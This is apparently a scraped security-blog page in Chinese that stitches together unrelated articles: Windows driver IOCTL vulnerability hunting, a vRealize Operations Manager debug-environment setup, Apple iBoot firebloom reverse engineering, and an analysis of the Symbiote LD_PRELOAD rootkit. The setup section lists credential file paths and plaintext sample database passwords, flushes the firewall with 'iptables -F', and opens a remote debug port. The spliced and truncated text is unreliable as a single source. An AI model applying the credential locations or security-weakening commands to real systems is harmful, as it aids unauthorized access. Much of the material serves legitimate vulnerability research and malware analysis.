Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113747

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

驅動程序中的每一個漏洞本質上都是Windows內核中的一個漏洞,因為每個驅動程序都共享內核的內存空間。擁有了在內核中運行代碼、從模型寄存器讀寫或複制特權訪問令牌的能力實際上是擁有了系統。本文將介紹在WDM驅動程序中發現漏洞的方法,然後通過kAFL利用內核模糊。大多數漏洞似乎都在WDM或KMDF中。

在本博客的每一部分中,我們都將從基礎開始,比如熟悉相關的API和數據結構。

WDMWindows驅動程序模型(WDM)是最古老的,也是最常用的驅動程序框架。每個驅動本質上都是一個WDM驅動;較新的框架WDF (Windows Driver framework)封裝了WDM,簡化了WDM的開發過程,解決了WDM的多種技術難題。在檢查WDM驅動程序時,我們關心的主要事情是如何與它們通信;幾乎驅動程序中的每個漏洞都涉及到一些從非特權用戶到驅動程序本身的通信。

在示例中,這是名為“testy”的驅動程序的入口點:

1.png

經典的DriverEntry代碼,注意,對IoCreateDevice的調用沒有FILE_DEVICE_SECURE_OPEN標誌

這段代碼是每個WDM驅動都有的DriverEntry函數的普通架構。第一個參數是DriverObject結構指針,用於設備創建和調度例程初始化。接下來,驅動程序有MajorFunction成員,它是一個函數指針數組,用於為不同的事件分配調度例程。此外,我們還有將在下一節中介紹的關鍵設備創建例程。

設備創建和初始化驅動程序首先通過調用IoCreateDevice 創建設備,這將在對像管理器中創建一個DEVICE_OBJECT。在Windows 中,設備對象表示驅動程序處理I/O 請求的邏輯、虛擬或物理設備。所有這些聽起來都不錯,但如果我們希望它從普通用戶的角度進行交流,這還不夠;為此,我們調用IoCreateSymbolicLink,它將在對像管理器中創建一個DoS 設備名稱,使用戶能夠通過該設備與驅動程序進行通信。但是,有些設備沒有正常的名稱;它們具有自動生成的名稱(在PDO 中完成)。對於沒有經驗的檢測人員來說,它們可能看起來很奇怪,所以如果你在你最喜歡的設備中第一次看到它們,請查看軟件,並在設備名稱列中查看8 位十六進制。這些設備可以像其他所有命名設備一樣進行交互。

2.webp.jpg

展示WinObjEx 設備命名空間

在設備創建例程中要注意的最重要的事情是程序員是否為設備分配了ACL 以及DeviceCharacteristics 的值。

不幸的是,IoCreateDevice方法不允許程序員指定任何ACL,這是不好的。因此,開發人員必須在註冊表或驅動程序的ini文件中定義一個ACL。如果他們不能這樣做,任何用戶都可以訪問設備。然而,使用IoCreateDeviceSecure方法可以緩解這種情況。

除此之外,我們還需要查看第五個參數,即DeviceCharacteristics 。如果DeviceCharacteristics 的值沒有與0x00000100 或FILE_DEVICE_SECURE_OPEN 進行OR 運算,我們可能會面臨安全漏洞(除非我們討論文件系統驅動程序或任何支持名稱結構的驅動程序)。這背後的原因是Windows 對待設備的方式;每個設備都有自己的命名空間。設備命名空間中的名稱是以設備名稱開頭的路徑。對於名為\Device\DeviceName 的設備,其命名空間由“\Device\DeviceName\anyfile”形式的任何名稱組成。

如圖1所示,沒有FILE_DEVICE_SECURE_OPEN標誌的IoCreateDevice調用意味著設備ACL不應用於打開設備命名空間內文件的文件請求。換句話說,即使我們在通過IoCreateDeviceSecure或其他方式創建設備時指定了強ACL,該ACL也不會應用於打開文件請求。結果,我們並沒有真正得到我們想要的,所以使用\Device\testydrv 調用CreateFile 會失敗,但使用“\device\testydrv\anyfile”調用會成功,因為IoManager 沒有應用設備ACL到創建請求(因為它假設它是一個文件系統驅動程序)。對於初學者來說,它被認為是一個值得修復的漏洞。此外,這將導致非管理員用戶嘗試讀/寫設備,執行DeviceIoControl 請求等等,這通常是你不希望非管理員用戶做的事情。

更好的用戶保護我們可以通過調用IoCreateDeviceSecure(或WdmlibIoCreateDeviceSecure;它是相同的函數),使用安全描述符防止非管理員用戶打開設備句柄,並在創建例程中使用FILE_DEVICE_SECURE_OPEN值。這也將為我們省去在註冊表中聲明設備權限的麻煩,就像我們在IoCreateDevice 中需要的那樣。

3.png

我們應該如何創建設備

從尋找漏洞的角度來看,我們應該列舉系統中每一個可能的設備,然後嘗試用GENERIC_READ | GENERIC_WRITE打開它,這允許我們過濾掉不能與之通信的設備。

調度方法創建設備很好,但僅僅與驅動程序通信是不夠的,還需要IRP。驅動程序代表IoManager 接收IRP、I/O 請求數據包以用於特定觸發器。例如,如果應用程序嘗試打開設備句柄,IoManager 將調用分配給驅動程序對象的相關調度方法。因此,它允許每個驅動程序為其創建的每個設備支持多個不同的MajorFunction。大約有30 種不同的MajorFunction。如果算上已棄用的IRP_MJ_PNP_POWER,每個都代表不同的事件。我們將只關注其中兩個MajorFunction 方法,並添加關於其餘方法的簡短描述,這是我們在尋找漏洞時應該注意的地方。

4.png

基本的驅動程序調度表分配

調用IRP_MJ_CREATE在我們深入研究最有趣的目標之前,即IRP_MJ_DEVICE_CONTROL,我們將從IRP_MJ_CREATE 開始。每個內核模式驅動程序都必須在驅動程序調度回調函數中處理IRP_MJ_CREATE。驅動程序必須實現IRP_MJ_CREATE,因為沒有它,你將無法打開設備或文件對象的句柄。

正如你可能猜到的,當你調用NtCreateFile 或ZwCreateFile 時會調用IRP_MJ_CREATE 調度例程。在大多數情況下,它將是一個空存根,並根據設備的ACL 返回一個帶有請求的DesiredAccess 的句柄。

5.png

典型的DistpachCreate強制方法

但是,在某些情況下,會涉及更複雜的代碼,即使你滿足設備的ACL 標準,你也可能會收到類似STATUS_INVALID_PARAMETER 的狀態漏洞,因為你在調用NtCreateFile 時使用了不正確的參數。

不幸的是,這表明你不能盲目打開設備,希望通過DeviceIoControl與驅動程序通信;你首先需要了解它的預期參數。通常,DispatchCreate 需要一些ExtendedAttributes(不能為此使用常規CreateFile)或特定文件名(除了設備名稱)。因此,我們必須訪問DispatchCreate 方法。

6.webp.jpg

顯示檢查是否存在名為“StorVsp-v2”的擴展屬性以及值字段的長度是否為0x19 字節長。因此,驅動程序是StorVsp.sys

除了打開句柄之外,你還可以在DispatchCreate中查找漏洞。函數變得越複雜,內存分配和釋放漏洞的可能性就越高,特別是因為DispatchCreate並不經常被檢查。

我們在尋找驅動程序中的漏洞時採取的一般方法是:

枚舉每個設備對象:

嘗試使用最寬鬆的DesiredAccess 打開它;

如果失敗,檢查狀態碼;如果不是STATUS_ACCESS_DENIED,你可能仍然可以通過做一些手動工作並更改一些參數來打開句柄;

通過遵循這個簡單的算法,我們將擁有一個包含大約70 個設備的列表,我們可以從非管理員的角度與之交談。當然,這個數字會因不同的Windows 設備而異,因為OEM 驅動程序和許多類型的軟件也會安裝驅動程序。

使用ioctls控制設備雖然ioctls很少讓你完全控制設備/驅動程序,但它實際上是應用程序與驅動程序通信的方式。驅動程序可以創建兩種ioctl調度例程:

7.png

設備控制方法的典型用法

唯一重要的方法是TestyDispatchIoctl,因為我們不能用任意參數發起對IoBuildDeviceIoControlRequest或IIoAllocateIrp的調用,這是觸發IRP_MJ_INTERNAL_DEVICE_CONTROL主函數的函數。如果是,那是因為內部調度方法很少經過適當的測試。

與DriverObject的任何調度方法一樣,它從IoManager接收兩個參數。

8.png

WDM驅動程序中的每個調度方法共享相同的函數簽名

第一個是我們對其執行CreateFile 操作的設備對象,第二個是指向IRP 的指針。從漏洞研究的角度來看,IRP 封裝了用戶數據和我們並不真正關心的許多其他內容。我們在這里關心的主要是從用戶模式發送哪些參數。如果我們看一下NtDeviceIoControlFile 的簽名,我們可以猜測在尋找驅動程序中的漏洞時我們關心哪些字段:

9.png

DeviceIoControl API

這種方法的主要問題是輸入/輸出緩衝區、它們的長度和Ioctl代碼本身。我們從Ioctl代碼開始,它是一個充當說明符的32位數字;它描述了緩衝區和長度如何被使用/複製到內核,所需的DesiredAccess(當你打開一個設備句柄時)和一個函數指示器。示例如下:

10.webp.jpg

FileTest.exe工具的圖像,顯示了32 Ioctl編號的位域

我們可以看到ioctl代碼是0x1000,翻譯過來就是:

DeviceType:FileDevice_0:它與我們無關;

Function:0:與我們無關;

Method:METHOD_NEITHER:它與我們相關,因為它描述了imanager如何將數據傳輸到內核;

Access:FILE_ANY_ACCESS:它與我們相關,因為它定義了你需要對句柄擁有的所需訪問權限。如果你沒有正確的訪問權限,那麼IoManager 將不允許調用發生並返回AccessDenied。有四個不同的值:

FILE_ANY_ACCESS:無論DesiredAccess 參數如何,你始終擁有設備句柄;

FILE_READ_DATA:你使用GENERIC_READ 請求了一個句柄並獲得了一個有效的句柄;

FILE_WRITE_DATA:你使用GENERIC_WRITE 請求了一個句柄並獲得了一個有效的句柄;FILE_READ_DATA | FILE_WRITE_DATA:不言自明;你需要這兩種權利;

在\Device\VfpExt 的句柄上運行此DeviceIoControl 請求將導致BSoD,無論你的權限級別如何,在理解了圖3中的Method字段之後,我們將看到其中的原因。

Method/TransferTypeMethod/TransferType被稱為萬惡之母,這聽起來有些誇大其詞,但不幸的是,事實確實如此。傳輸類型的方法,即ioctl 32位數中的兩個最低有效位,指示IoManager 在內核中引用參數(緩衝區和長度)的方式。與訪問字段一樣,有四個不同的選項:

(1)METHOD_NEITHER,兩個位都是打開的:IoManager 是惰性的,不對緩衝區及其長度進行檢查。緩衝區不會復製到驅動程序並駐留在用戶模式下。因此,用戶可以隨意操縱緩衝區的長度並釋放/分配他們的頁面,這將導致許多糟糕的事情:系統崩潰和權限提升,除非正確探測緩衝區。如果你看到一個驅動程序沒有探測緩衝區,而是使用METHOD_NEITHER,那肯定存在漏洞。

(2) METHOD_BUFFERED,沒有一個位是打開的:IoManager將輸入/輸出緩衝區及其長度複製到內核,這使得它更加安全,因為用戶不能隨意換出緩衝區或更改它們的內容和長度。之後,輸入/輸出緩衝區指針被分配給IRP。

(3) METHOD_IN_DIRECT和(4)METHOD_OUT_DIRECT兩個位中的一個是打開的:這兩個非常相似;imanager會像METHOD_BUFFERED那樣分配輸入緩衝區。對於輸出緩衝區,IoManager探測緩衝區並檢查虛擬地址在當前訪問模式下是否可寫或可讀。然後,它鎖定內存頁並將指針傳遞給IRP。

讓我們看看驅動程序如何訪問用戶模式緩衝區並查看一個快速漏洞,它說明了在驅動程序中沒有進行適當的安全檢查的漏洞。

11.png

在這裡我們可以看到我們應該如何關聯驅動程序中的每個緩衝區關於描述方法和傳輸類型的Ioctl 代碼

由於驅動程序通常可以支持多個ioctl 代碼,因此對於每個不同的ioctl 代碼,它都有一個大的switch case,影響緩衝區在內存中的存儲位置。在下一節中,我們將看到如果我們不注意會發生什麼。

0x00 前言本文記錄從零開始搭建vRealize Operations Manager漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

vRealize Operations Manager安裝

vRealize Operations Manager漏洞調試環境配置

常用知識

0x02 vRealize Operations Manager安裝參考資料:

https://docs.vmware.com/cn/vRealize-Operations/8.6/com.vmware.vcom.vapp.doc/GUID-69F7FAD8-3152-4376-9171-2208D6C9FA3A.html

1.下載OVA文件下載頁面:

https://my.vmware.com/group/vmware/patch

下載前需要先註冊用戶,之後選擇需要的版本進行下載

選擇產品vRealize Operations Manager,需要注意pak文件為升級包,這裡選擇ova文件進行下載,如下圖

470e3b24a4fa22ed25accee854bfd13.png

經過篩選,只有版本vROps-8.3.0-HF2帶有ova文件,其他都是pak文件

2.安裝(1)在VMware Workstation中導入OVA文件

配置頁面中選擇Remote Collecto(Standard),如下圖

d0470e08f1149c41824f70d1e940767.png

等待OVA文件導入完成後,將會自動開機進行初始化,初始化完成後如下圖

0276921e06921030d2a1fb014b3b149.png

(2)配置

訪問配置頁面https://192.168.1.103/

選擇快速安裝EXPRESS INSTALLATION

設置admin口令

3.設置root用戶口令在虛擬機中選擇Login,輸入root,設置root用戶初始口令

4.啟用遠程登錄以root身份執行命令:

service sshd start

5.開啟遠程調試功能(1)查看所有服務的狀態

systemctl status

結果如下圖

3b07cdfda1d0ff8e53a960943bb3b71.png

定位到web相關的服務為vmware-casa.service

(2)查看vmware-casa.service的具體信息

systemctl status vmware-casa.service

結果如下圖

定位出加載的文件/usr/lib/vmware-casa/bin/vmware-casa.sh,查看文件內容並進一步分析後可定位出需要的配置文件/usr/lib/vmware-casa/casa-webapp/bin/setenv.sh

(3)添加調試參數

在變量JVM_OPTS中添加調試參數:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

(4)重啟服務

service vmware-casa restart

(5)查看調試參數是否更改:

ps -aux |grep vmware-casa

如下圖

4d4d934869531ec922254794f3c0309.png

(6)打開防火牆

這裡選擇清空防火牆規則:iptables -F

(7)使用IDEA設置遠程調試參數

IDEA的完整配置方法可參考之前的文章《Zimbra漏洞调试环境搭建》

0x03 常用知識1.常用路徑web目錄: /usr/lib/vmware-casa/casa-webapp/webapps/

日誌路徑: /storage/log/vcops/log/cas

admin用戶的口令hash: /storage/vcops/user/conf/adminuser.properties

數據庫口令位置: /var/vmware/vpostgres/11/.pgpass

2.數據庫連接數據庫口令內容示例:

localhost:5432:vcopsdb:vcops:J//mJcgppVIuGgzEuKIHGee9

localhost:5433:vcopsdb:vcops:keoMG4cmN+0jyD+7NAoED1HV

localhost:5433:replication:vcopsrepl:keoMG4cmN+0jyD+7NAoED1HV連接數據庫1:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5432-dvcopsdb-Uvcops

J//mJcgppVIuGgzEuKIHGee9連接數據庫2:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dvcopsdb-Uvcops

keoMG4cmN+0jyD+7NAoED1HV連接數據庫3:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dreplication-Uvcopsrepl

keoMG4cmN+0jyD+7NAoED1HV3.版本識別識別方法:

通過api接口獲得配置信息,在配置信息中導出詳細的版本信息

訪問URL: https://ip /suite-api/docs/wadl.xml

回顯的數據為xml格式,在getCurrentVersionOfServer中會包含版本信息,如下圖

9ef0491a4f7ea3f3cb2709c45b37f77.png

Python實現細節:

由於回顯的數據為xml格式,存在轉義字符,在解析時首先處理轉義字符

示例代碼:

defescape(_str):

_str=_str.replace('','')

_str=_str.replace('','')

_str=_str.replace('','')

_str=_str.replace(''','\'')

return_str使用re進行字符串匹配時,由於數據跨行,需要加上參數re.MULTILINE|re.DOTALL

示例代碼:

pattern_data=re.compile(r'getCurrentVersionOfServer(.*?)/ns2:doc',re.MULTILINE|re.DOTALL)

versiondata=pattern_data.findall(escape(res.text))完整代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vRealizeOperationsManager_GetVersion.py

0x04 小結在我們搭建好vRealize Operations Manager漏洞調試環境後,接下來就可以著手對漏洞進行學習。

簡介2021年2月,蘋果公司發布了關於iBoot內存安全的新舉措,並將其納入蘋果安全平台的一部分。他們的描述中提到,“蘋果公司修改了用於構建iBoot引導程序的C編譯器工具鏈,以提高其安全性”,並對其工作進行了一些概述。以下是引自該文件中的相關內容:

內存安全的iBoot實現在iOS 14和iPadOS 14中,蘋果公司修改了用於構建iBoot引導程序的C編譯器工具鏈,以提高其安全性。修改後的工具鏈實現了旨在防禦C程序中常見的內存和類型安全問題的代碼。例如,它有助於防止以下類型的安全漏洞:

緩衝區溢出,通過確保所有指針攜帶邊界信息,在訪問內存時進行驗證。

堆的利用,通過將堆數據與元數據分開,並準確地檢測錯誤條件,如重複釋放錯誤。

類型混淆,通過確保所有指針攜帶運行時的類型信息,並在指針類型轉換操作中進行相應的檢查。

通過將所有的動態內存分配按靜態類型進行隔離,避免由釋放後使用錯誤引起的類型混淆。

這項技術適用於配備Apple A13 Bionic或後續芯片的iPhone,以及配備A14 Bionic芯片的iPad。

我覺得,把一些關於實現、格式和蘋果在這方面所做的令人興奮的工作的信息放在一起可能會更好。順便說一句,在iBoot二進製文件中,有一些非常有用的信息字符串,它們很快就被發佈到了Twitter上。

我對這項工作非常著迷,因為上述描述給人的印像是用軟件實現的“輕量級的CHERI版本”。根據蘋果公司的描述,在新版本的iBoot中,指針攜帶的不僅僅是一個地址——同時,它們還攜帶了邊界和類型信息,這樣的話,編譯器就可以為代碼引入新的內存安全驗證。

我喜歡刨根問底,所以,不妨讓我們一起潛心研究一番,看看我們能發現什麼新玩意。

需要說明的是,這項研究是在iBoot.d53g.RELEASE.im4p、iPhone 12以及ios 14.4(18D52)環境中進行的。

著手進行逆向工程首先,讓我們看看系統檢測到內存安全違規後是如何進行處理的。當內存安全違規發生時,觸發panic是非常有意義的,事實上,我們在二進製文件中提供了一個“__firebloom_panic”字符串。利用這一點,我們可以為周圍的函數進行命名,並重點關注下面這個簡單的函數:

iBoot:00000001FC1AA5A0 firebloom_panic

iBoot:00000001FC1AA5A0

iBoot:00000001FC1AA5A0 var_B8=-0xB8

iBoot:00000001FC1AA5A0 var_B0=-0xB0

iBoot:00000001FC1AA5A0 var_18=-0x18

iBoot:00000001FC1AA5A0 var_10=-0x10

iBoot:00000001FC1AA5A0 var_s0=0

iBoot:00000001FC1AA5A0

iBoot:00000001FC1AA5A0 PACIBSP

iBoot:00000001FC1AA5A4 SUB SP, SP, #0xD0

iBoot:00000001FC1AA5A8 STP X20, X19, [SP,#0xC0+var_10]

iBoot:00000001FC1AA5AC STP X29, X30, [SP,#0xC0+var_s0]

iBoot:00000001FC1AA5B0 ADD X29, SP, #0xC0

iBoot:00000001FC1AA5B4 MOV X19, X0

iBoot:00000001FC1AA5B8 ADD X0, SP, #0xC0+var_B8

iBoot:00000001FC1AA5BC BL sub_1FC1A9A08

iBoot:00000001FC1AA5C0 ADD X8, X29, #0x10

iBoot:00000001FC1AA5C4 STUR X8, [X29,#var_18]

iBoot:00000001FC1AA5C8 ADR X1, aPasPanic ; 'pas panic: '

iBoot:00000001FC1AA5CC NOP

iBoot:00000001FC1AA5D0 ADD X0, SP, #0xC0+var_B8

iBoot:00000001FC1AA5D4 BL do_trace

iBoot:00000001FC1AA5D8 LDUR X2, [X29,#var_18]

iBoot:00000001FC1AA5DC ADD X0, SP, #0xC0+var_B8

iBoot:00000001FC1AA5E0 MOV X1, X19

iBoot:00000001FC1AA5E4 BL sub_1FC1A9A48

iBoot:00000001FC1AA5E8 LDR X0, [SP,#0xC0+var_B0]

iBoot:00000001FC1AA5EC BL __firebloom_panic

我們可以都看到,這個函數有11個交叉引用。我把其中一個命名為“do_firebloom_panic”,它也有11個交叉引用,並且每個交叉引用都能捕捉到不同類型的違規行為。

1.png

好的,現在我們就有了一個(部分)清單,列出了firebloom會明確檢測並引起恐慌的錯誤。因為其中一些新的檢查是針對已知的定義良好的函數(memset, memcpy),所以,接下來可以期待看到新的memset和memcpy的封裝函數,並在其中加入新的檢查。通過跟踪交叉引用鏈並不斷逆向該流程,我們很容易就能找到這些封裝函數。

然而,我很好奇其餘的驗證會是什麼情況:例如,我們在哪裡/如何看到ptr_under/ptr_over?好吧,函數panic_ptr_over有179處交叉引用,其中很多只是帶有一些哈希值的封裝函數。這些封裝函數也有一些交叉引用,不過這些是來自實際的代碼,並且當內存安全違規發生時會觸發恐慌。通過跟進執行流程,我們可以發現很多示例,可以幫我們搞清楚它們的使用情況。

我只相信實際的例子,因為沒有什麼比代碼更能說明一切了,所以,我們就通過一個執行流程,來舉例說明:

iBoot:00000001FC05C5AC loop ; CODE XREF: sub_1FC05C548+94↓j

iBoot:00000001FC05C5AC CMP X10, X9

iBoot:00000001FC05C5B0 B.EQ return

iBoot:00000001FC05C5B4 ; fetch ptr and lower bounds

iBoot:00000001FC05C5B4 LDP X11, X13, [X0]

iBoot:00000001FC05C5B8 ; advance the ptr to ptr+offset, it's a loop

iBoot:00000001FC05C5B8 ADD X12, X11, X9

iBoot:00000001FC05C5BC CMP X12, X13

iBoot:00000001FC05C5C0 B.CC detected_ptr_under

iBoot:00000001FC05C5C4 ; fetch upper bounds

iBoot:00000001FC05C5C4 LDR X13, [X0,#0x10]

iBoot:00000001FC05C5C8 CMP X12, X13

iBoot:00000001FC05C5CC B.CS detected_ptr_over

iBoot:00000001FC05C5D0 ; actually dereference the pointer

iBoot:00000001FC05C5D0 LDR W11, [X11,X9]

iBoot:00000001FC05C5D4 STR W11, [X8,#0x1DC]

iBoot:00000001FC05C5D8 ADD X9, X9, #4

iBoot:00000001FC05C5DC B loop

iBoot:00000001FC05C5E0 ; ---------------------------------------------------------------------------

iBoot:00000001FC05C5E0

iBoot:00000001FC05C5E0 return ; CODE XREF: sub_1FC05C548+68↑j

iBoot:00000001FC05C5E0 LDUR X8, [X29,#var_8]

iBoot:00000001FC05C5E4 ADRP X9, #a160d@PAGE ; '160D'

iBoot:00000001FC05C5E8 NOP

iBoot:00000001FC05C5EC LDR X9, [X9,#a160d@PAGEOFF] ; '160D'

iBoot:00000001FC05C5F0 CMP X9, X8

iBoot:00000001FC05C5F4 B.NE do_panic

iBoot:00000001FC05C5F8 LDP X29, X30, [SP,#0x70+var_s0]

iBoot:00000001FC05C5FC ADD SP, SP, #0x80

iBoot:00000001FC05C600 RETAB

iBoot:00000001FC05C604 ; ---------------------------------------------------------------------------

iBoot:00000001FC05C604

iBoot:00000001FC05C604 do_panic ; CODE XREF: sub_1FC05C548+AC↑j

iBoot:00000001FC05C604 BL call_panic

iBoot:00000001FC05C608 ; ---------------------------------------------------------------------------

iBoot:00000001FC05C608

iBoot:00000001FC05C608 detected_ptr_under ; CODE XREF: sub_1FC05C548+78↑j

iBoot:00000001FC05C608 BL call_panic_ptr_under_5383366e236c433

iBoot:00000001FC05C60C ; ---------------------------------------------------------------------------

iBoot:00000001FC05C60C

iBoot:00000001FC05C60C detected_ptr_over ; CODE XREF: sub_1FC05C548+84↑j

iBoot:00000001FC05C60C BL call_panic_ptr_over_5383366e236c433

iBoot:00000001FC05C610 ; ---------------------------------------------------------------------------

因此,在訪問偏移量為X9處的指針(在0x01fc05c5d0)之前,代碼將根據某些界限來檢查PTR+偏移量是否越界。其中,原始指針和邊界指針(下界和上界)是從某個結構體中檢索的(稍後我將對其進行定義)。在此之前,為了讓更好地了解相關的函數,讓我們先看看相關的panic封裝函數:

iBoot:00000001FC05D384 call_panic_ptr_over_5383366e236c433 ; CODE XREF: sub_1FC05C548:detected_ptr_over↑p

iBoot:00000001FC05D384 ; DATA XREF: call_panic_ptr_over_5383366e236c433+24↓o

iBoot:00000001FC05D384

iBoot:00000001FC05D384 var_8=-8

iBoot:00000001FC05D384 var_s0=0

iBoot:00000001FC05D384

iBoot:00000001FC05D384 PACIBSP

iBoot:00000001FC05D388 SUB SP, SP, #0x20

iBoot:00000001FC05D38C STP X29, X30, [SP,#0x10+var_s0]

iBoot:00000001FC05D390 ADD X29, SP, #0x10

iBoot:00000001FC05D394 ADRL X8, a5383366e236c43 ; '5383366e236c433'

iBoot:00000001FC05D39C STR X8, [SP,#0x10+var_8]

iBoot:00000001FC05D3A0 MOV X8, X30

iBoot:00000001FC05D3A4 XPACI X8

iBoot:00000001FC05D3A8 ADR X16, call_panic_ptr_over_5383366e236c433

iBoot:00000001FC05D3AC NOP

iBoot:00000001FC05D3B0 PACIZA X16

iBoot:00000001FC05D3B4 SUB X2, X8, X16

iBoot:00000001FC05D3B8 ADD X0, SP, #0x10+var_8

iBoot:00000001FC05D3BC MOV W1, #1

iBoot:00000001FC05D3C0 BL panic_ptr_over

iBoot:00000001FC05D3C0 ; End of function call_panic_ptr_over_5383366e236c433

以及:

iBoot:00000001FC1AA980 panic_ptr_over ; CODE XREF: sub_1FC04CBD0+3C↑p

iBoot:00000001FC1AA980 ; sub_1FC04EC2C+3C↑p .

iBoot:00000001FC1AA980

iBoot:00000001FC1AA980 var_20=-0x20

iBoot:00000001FC1AA980 var_10=-0x10

iBoot:00000001FC1AA980 var_s0=0

iBoot:00000001FC1AA980

iBoot:00000001FC1AA980 PACIBSP

iBoot:00000001FC1AA984 STP X22, X21, [SP,#-0x10+var_20]!

iBoot:00000001FC1AA988 STP X20, X19, [SP,#0x20+var_10]

iBoot:00000001FC1AA98C STP X29, X30, [SP,#0x20+var_s0]

iBoot:00000001FC1AA990 ADD X29, SP, #0x20

iBoot:00000001FC1AA994 MOV X19, X2

iBoot:00000001FC1AA998 MOV X20, X1

iBoot:00000001FC1AA99C MOV X21, X0

iBoot:00000001FC1AA9A0 ADRP X8, #0x1FC2F2270@PAGE

iBoot:00000001FC1AA9A4 LDR X8, [X8,#0x1FC2F2270@PAGEOFF]

iBoot:00000001FC1AA9A8 CBZ X8, do_panic

iBoot:00000001FC1AA9AC BLRAAZ X8

iBoot:00000001FC1AA9B0

iBoot:00000001FC1AA9B0 do_panic ; CODE XREF: panic_ptr_over+28↑j

iBoot:00000001FC1AA9B0 ADR X0, aPtrOver ; 'ptr_over'

iBoot:00000001FC1AA9B4 NOP

iBoot:00000001FC1AA9B8 MOV X1, X21

iBoot:00000001FC1AA9BC MOV X2, X20

iBoot:00000001FC1AA9C0 MOV X3, X19

iBoot:00000001FC1AA9C4 BL do_firebloom_panic

iBoot:00000001FC1AA9C4 ; End of function panic_ptr_over

很好,看起來非常簡單。

讓我們看看同樣的模式是否在其他地方重複出現;例如,下面這個:

1.png

在這個例子中,你可以看到一個循環語句在遍歷一個元素數組(每個元素大小為0x20),並對每個元素調用一些函數。而且,不出所料,這里以相同的方式使用了相同的“指針結構體”。

格式函數與輔助函數因此,我們有理由相信,內存分配用到的結構體如下所示:

00000000 safe_allocation struc ; (sizeof=0x20, mappedto_1)

00000000 raw_ptr DCQ ? offset

00000008 lower_bound_ptr DCQ ? offset

00000010 upper_bound_ptr DCQ ? offset

00000018 field_18 DCQ ?

000000

symbiote-linux-threat-intezer-blog-graphic-1024x475px.png

幾個月前,Intezer的安全研究人員Joakim Kennedy和BlackBerry威脅研究與情報團隊發現了一種新出現的且從未被檢測到的Linux惡意軟件,研究人員已將其命名為Symbiote。

Symbiote 與通常遇到的其他Linux 惡意軟件的不同,它需要感染其他正在運行的進程才能對受感染的設備發起攻擊。它不是一個運行以感染設備的獨立可執行文件,而是一個共享對象(SO) 庫,它使用LD_PRELOAD (T1574.006) 加載到所有正在運行的進程中,然後通過寄生的方式潛入設備實施攻擊。一旦它感染了所有正在運行的進程,它就會獲得攻擊目標的rootkit 功能、獲取憑證的能力和遠程訪問能力。

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

Symbiote的首次出現最早發現Symbiote 是在2021 年11 月,它似乎是針對拉丁美洲的金融部門而編寫的。一旦感染成功,它就會隱藏起來。由於惡意軟件隱藏了所有文件、進程和網絡構件,因此在受感染的設備上執行實時取證可能不會發現任何問題。除了rootkit 功能外,該惡意軟件還為攻擊者提供了一個後門,以使用硬編碼密碼以設備上的任何用戶身份登錄,並以最高權限執行命令。

截止發稿時,研究人員還未找到足夠的證據來確定Symbiote 是否被用於高度針對性或廣泛的攻擊。

Symbiote 的一個特殊之處是其Berkeley Packet Filter (BPF) 掛鉤功能。 Symbiote 並不是第一個使用BPF 的Linux 惡意軟件。例如, 方程式組織(Equation Group)開發的高級後門一直在使用BPF 進行隱蔽通信。然而,Symbiote 利用BPF 隱藏受感染設備上的惡意網絡流量。當管理員在受感染的設備上啟動任何數據包捕獲工具時,BPF 字節碼被注入內核,定義應該捕獲哪些數據包。在這個過程中,Symbiote 首先添加它的字節碼,這樣它就可以過濾掉它不希望數據包捕獲軟件看到的網絡流量。

逃避檢測Symbiote非常隱蔽,該惡意軟件被設計為通過LD_PRELOAD指令由鏈接器加載。這允許它在任何其他共享對象之前加載。由於它首先被加載,才可以從為應用程序加載的其他庫文件中“劫持導入”。 Symbiote 使用它通過掛鉤libc 和libpcap 函數來隱藏它在設備上的存在。逃避檢測過程如下圖所示。

1.png

Symbiote逃避檢測技術

Host 活動Symbiote 惡意軟件除了隱藏自己在設備上的存在外,還隱藏與可能與其一起部署的惡意軟件相關的其他文件。在二進製文件中,有一個RC4 加密的文件列表。調用掛鉤函數時,惡意軟件首先會動態加載libc 並調用原始函數。此邏輯用於所有掛鉤函數。具體示例如下圖所示。

2.png

從libc 解析readdir 的邏輯

如果調用應用程序試圖訪問/proc 下的文件或文件夾,惡意軟件會刪除其列表中進程名稱的輸出。下面列表中的進程名稱是從我們發現的樣本中提取的。

3.png

如果調用應用程序沒有嘗試訪問/proc 下的內容,則惡意軟件會從文件列表中刪除結果。從我們檢查的所有樣本中提取的文件顯示在下面的列表中。一些文件名與Symbiote 使用的文件名相匹配,而其他文件名與疑似是受感染設備上的攻擊者使用的工具的文件名相匹配。該列表包括以下文件。

4.png

通過LD_PRELOAD將Symbiote加載到進程中的一個後果是,像ldd 這樣的工具(一種打印每個程序所需的共享庫的實用程序)會將惡意軟件列為加載的對象。為了解決這個問題,惡意軟件掛鉤execve 並在環境變量LD_TRACE_LOADED_OBJECTS 設置為1 的情況下查找對該函數的調用。 ldd 的手冊頁是這樣解釋其中原因的:

通常情況下,ldd 調用標準動態鏈接器,並將LD_TRACE_LOADED_OBJECTS 環境變量設置為1。這會導致動態鏈接器檢查程序的動態依賴關係,並找到加載滿足這些依賴關係的對象。對於每個依賴項,ldd 顯示匹配對象的位置和加載它的十六進制地址。

當惡意軟件檢測到這一點時,它會像ldd 一樣執行加載程序,但它會從結果中刪除自己的條目。

